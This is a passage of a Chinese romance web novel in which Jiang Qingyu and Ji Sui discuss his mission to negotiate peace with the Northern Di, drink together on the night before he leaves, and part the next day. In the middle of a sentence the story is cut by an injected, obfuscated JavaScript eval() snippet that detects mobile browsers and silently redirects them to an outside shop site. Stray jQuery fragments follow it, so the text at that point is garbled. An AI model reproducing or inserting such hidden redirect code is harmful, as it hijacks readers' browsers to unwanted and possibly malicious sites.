姜清虞看着姬睢上了马车。
她端端正正坐在马车上,问对面坐着的姬睢:“你同那位公子说了什么?还有,你怎么会突然出现在这儿?”
姬睢攥住自己膝前的衣物,指间都泛着白。
脸上面对裴曲时的冷厉在对上姜清虞时消失殆尽。
他看着姜清虞,嗓音低哑:“你就要问我这个?”
姜清虞眨眨眼:“我就是有点担心。”
姬睢飞快接道:“担心他还是担心我?”
姜清虞哑然:“你怎么突然这样了?”
姬睢定定看着姜清虞,半晌,道:“我一直这样。”
姜清虞皱眉:“我和他什么都没有!你就这么不信任我?!”
姬睢摇头:“我信你,但不信他。”
姜清虞心头火起,又要冲姬睢发火,就听见对方道:“下早朝之后,回去的路上,我就看见你们了,我一直跟在你们身后。”
姬睢酸气要冲天了,他现在又想起了刚刚看见他们两个一起逛街的那一幕,心中不平油然而生。
“况且,我没对他说什么,只是看你喜欢吃那儿的馄饨,特地记下了那儿的位置,等有机会我带你去吃。”
姜清虞知道他是在胡扯,但懒得现在和他计较了,喉咙里憋出来一个“哦”,便什么都不说了。
马车里弥漫着令人窒息的气息,姬睢看着低头玩衣带的姜清虞,拉开她的手,帮她将这次整理好,边问:“怎么突然想出去走走?”
姜清虞抬睫,姬睢的脑袋正好凑到她前方,她便刚好可以看见对方每一根梳得一丝不苟的头发。
见她不回答,姬睢“嗯?”了一声,不过依旧没抬头,仍在帮她整理好衣带。
“心情不好,”姜清虞道,“我去找人玩,没人愿意见我,说我父亲和陛下大吵了一架。”
“然后就听人说,我要去和亲了。”
姬睢手一抖。
“不会,”他说,“放心吧,不会是你。”
姜清虞:“所以那天我在窗外听到的那句话,是这个意思?”
姬睢摇头:“是议和,不一定会和亲,你暂且可以放心。”
“而且,”他抿嘴,喉结滚了两下,“这次议和,我和陛下请旨,出使北狄。”
姜清虞瞳孔骤然一缩。
她以为自己听错了,侧过耳让他再说一遍:“你说什么?”
姬睢重复:“我向陛下请命,出使北狄议和,陛下已经准了,今天早朝也已经定下来了。”
姜清虞不理解:“你怎么突然会想到要请旨去出使北狄?”
“我想要升得更高,”姬睢终于松开帮姜清虞整理衣带的手,“我想要尽快将姬呈踩在脚下,为我娘报仇。”
姬呈,姬睢的亲身父亲,也是宠妻灭妾从而导致姬睢的娘中毒身亡的罪魁祸首之一。
“我这次去议和,如果可以的话,我也希望不会有人去和亲,”他宽慰道,“我,二殿下,你父亲,都不会让你去和亲的,你放心,嗯?”
哪怕是当今圣上,也没有强烈的意愿让姜清虞去和亲。
姜清虞急忙道:“阿鸢也不行。”
姬睢看着姜清虞期盼的目光,原本想张嘴说的话尽数吞下,模糊地应了一声,随后很快转移话题。
“我这次得去两三个月的时间,等我们回来,就开始准备成亲了好不好?”
姜清虞果然被转移了注意力,双颊瞬间变得红扑扑的。
她结结巴巴:“怎,怎么突然提这事?”
姬睢温柔地帮她拨了拨额前的碎发。
当然是从小到大觊觎姜清虞的人实在是太多了。
他总是没有安全感,生怕一个不注意,姜清虞就会被人给拐走。
京中的那些贵族子弟是,还有那个莫名出现的裴曲也是。
“你不愿意吗?”
姜清虞大声:“我当然愿意!”
姬睢满意地点头:“好乖。”
我的阿清。
?
姬睢离开京城的前一天,姜清虞偷摸带了一坛酒翻了他院中的墙。
姬睢一开始听到姜清虞叫他的声音时,还以为是听错了,直到他看见他的墙头坐着一个姜清虞。
姬睢原本昏昏欲睡的精神一下被吓醒了。
跟在姬睢身后随侍阿颂也吓了一跳:“郡主怎么会在这儿。”
“快下来!”
因为怕吵醒其他人,他不得不压低声音,又因为担心姜清虞一不小心就掉下来,以至于他的声音里带着些惊慌失措。
“知道知道,怕什么,”姜清虞一边嘟囔,一边矮下身子将酒递给姬睢,“先接着这个。”
姬睢将酒接了过去,随手放在地上,就赶紧准备来接姜清虞。
姜清虞看着姬睢这样小心的姿态就想笑,但看着他这么在乎自己,心中又莫名得意。
他翻身准备爬下来,她撑着墙头,回头对姬睢道,“肩膀借我一下。”
“郡主等等,我去拿梯子。”阿颂道。
姜清虞拒绝:“不要,等会儿万一吵醒其他人,他们看到了我,我的名声怎么办。”
姬睢只得姜清虞身下,任由对方踩住他的肩,随后握住她的脚腕,让她顺着力道坐在自己肩上,而后小心翼翼蹲下身。
姜清虞双手一撑,顺利跨过姬睢的脑袋,重新站稳。
姬睢这才后知后觉开始发火:“你还知道名声,不是说过好多次不要再翻墙了?上次翻墙差点摔下来你不记得了是吧!”
姜清虞捂着耳朵闭着眼睛往前走:“在说什么,哎呀我怎么听不见,你快把酒拿好,我们在院子里喝酒。”
姬睢见教训不好姜清虞,只能顺着她的意,提了酒,又快步上前另一手揽住姜清虞的肩。
“坐这儿。”姬睢将她扶到院中的石桌前坐下。
姜清虞睁开眼,笑意盈盈看着他:“虽说明日我会去送你,但我想今日单独送你一道。”
这话太击中姬睢的心,让他心口发烫,也将教训她的话通通吞了下去。
阿颂拿了酒杯放在桌上后便识趣地退到廊下守着。
院中一时只有他们两人,夜风习习,树叶沙沙,月光在他们的身上镀上了一层离别的悲伤的纱。
姜清虞为两人都倒上酒,一杯递给姬睢,一杯自己端起。
“敬你,”她说,“祝你一切顺利,也祝你能早日为沈娘子报仇。”
她没有提及那些和亲的事,今夜只祝一切顺利。
姬睢仰头将那杯酒喝尽。
他轻声:“我一定会。”
为娘报仇的。
姜清虞陪姬睢一起喝到了后半夜。
喝到最后,她的双颊已经被蒸腾的酒意染得通红
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813581|210963||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,脑袋摇摇晃晃的,最后还是坚持不下去,扑通一下倒了下去。
倒在了姬睢的手上。
姬睢酒量比姜清虞好许多,姜清虞倒在他手上的那一刻,他的那只手掌心连带着他的整颗心脏,都被一股柔弱温热的触感包围着,带着酥酥麻麻的痒意。
他看着耷拉在自己手掌心的那颗脑袋,呼吸越来越深重。
那一刻,他甚至感觉自己的酒量被姜清虞给传染了一般,整个人也晕晕乎乎的。
大概是觉得双颊实在是热,而姬睢的手掌又是冰凉的,姜清虞忍不住用自己的脑袋去乱蹭他的手。
不经意间,饱满丰润的,被酒浸润过的唇蹭到了姬睢的掌心。
“好热啊,嗯……好凉快……”她呢喃着。
姜清虞的嘴唇在他的掌心张张合合,姬睢再也忍不住,两只手都碰上她的双颊,将她脑袋仰起来,让她隔着一层朦胧的水光看着自己。
“喜欢我吗?”他问。
姜清虞懵懂点头。
姬睢满意地笑了。
他抑制不住自己心头的澎湃,低下头去,想贴上她的双唇。
但最后还是忍住了。
他轻轻地将额头贴上她的,两额相对。
良久,姬睢才缓缓分了开来。
他又低头去听姜清虞的心跳声。
扑通,扑通,一声又一声,汇成世上对他而言最美的乐章。
隔天,姜清虞和姜翎去送了他,姜清虞甚至还悄悄摸摸将姜鸢也给带来了。
但姬睢几乎全部的注意力都在姜清虞身上。
“这次回来以后,我就去向你父亲提亲,你等我。”他看着姜清虞的眼神都拉了丝。
姜清虞还没说什么,倒是姜翎吓了一跳:“就要提亲了?”
姬睢瞥他一眼:“我还觉得晚了。”
若是姜清虞早就是他的妻子,那些野男人也不会再觊觎她,他也不用担心在他出使北狄的这几个月,姜清虞会不会被其他人勾引。
姜清虞手藏在袖中,摸着昨晚不知何时被姬睢塞在她袖中的新的香包。
她脸红扑扑的:“这种时候不要说这个!大家都在!”
姜翎在一旁怪笑,气得姜清虞给了他一肘子。
姬睢面不改色:“那我们回头写信说。”
姜清虞:“……”
姜清虞扭头不理他了。
姬睢也不在意,他轻轻碰了两下姜清虞的后脑算是安抚,而后看了眼怯懦的,可能即将要被安排去和亲的姜鸢。
虽然自己对她并不是很熟悉,但到底也是姜清虞的朋友。
于是他想了想,对她道:“我们也会尽力的。”
如果姜鸢可以不用去和亲,那自然是最好的结局。
姜鸢扯起嘴角对他笑了笑:“我都理解,我毕竟是一国公主,我都理解。”
看见她还算懂事,貌似也不会将姜清虞拉下水,姬睢松口气。
虽然自己早就拜托姜翎盯着姜清虞和姜鸢,生怕出什么岔子,但姜鸢老老实实是最好的。
在京城,谁也不敢赌谁的良心。
话到这里,已经说得差不多了,不远处其他人也已经在等他了。
姬睢最后看了一眼姜清虞:“一定要等我。”
姜清虞郑重其事点头:“好。”
姜鸢看着他们,眸光闪动。